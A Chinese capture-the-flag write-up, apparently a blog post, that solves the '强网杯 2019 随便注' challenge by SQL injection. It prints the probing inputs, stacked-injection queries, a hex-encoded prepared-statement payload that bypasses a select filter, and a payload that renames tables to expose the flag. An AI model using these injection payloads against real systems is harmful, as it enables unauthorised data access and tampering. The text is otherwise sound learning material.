四、[强网杯 2019]随便注

1.打开题目
在这里插入图片描述

2.分析题目
① 提交可以看到查询页面返回了一些数据
在这里插入图片描述

② 输入1’发现报错,然后1’ #显示正常,应该是存在sql注入了
在这里插入图片描述

在这里插入图片描述

③ 试一下1’ or 1=1 #
在这里插入图片描述

可以看到返回了数据,
④ 正常流程走起,1’ order by 2#
在这里插入图片描述在这里插入图片描述

可以看到order by 2的时候是正常回显了,order by 3就出错了,只有2个字段
⑤ 这时候用union select进行联合查询1’ union select 1,2
在这里插入图片描述

返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
⑥ 这时候想到堆叠注入,试一下1’; show databases;#
在这里插入图片描述

可以看到成功了,存在堆叠注入
⑦ 我们再直接show tables来查询下,试下能不能查询出表’; show tables; #
在这里插入图片描述

可以看到有两张表
⑧ 下面分别来看下两张表有什么字段’; show columns from 1919810931114514; #
在这里插入图片描述

  1. 获取flag
    但是即使是堆叠注入,想要得到数据也需要select,所以要想办法绕过这个限制
    1)解法一:预处理
    ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
    在这里插入图片描述

具体解释一下每个语句的意思
首先将查询的语句编码成16进制,可以在这个网站上处理:https://www.bejson.com/convert/ox2str/
select * from 1919810931114514
然后
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
2)解法二:重命名
mysql里可以重命名,所以这里可以进行如下操作
(1)通过 rename 先把 words 表改名为其他的表名
(2)把 1919810931114514 表的名字改为 words
(3)给新 words 表添加新的列名 id
(4)将 flag 改名为 data
也就是说,操作之后,直接输入id=1就可以得到flag
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值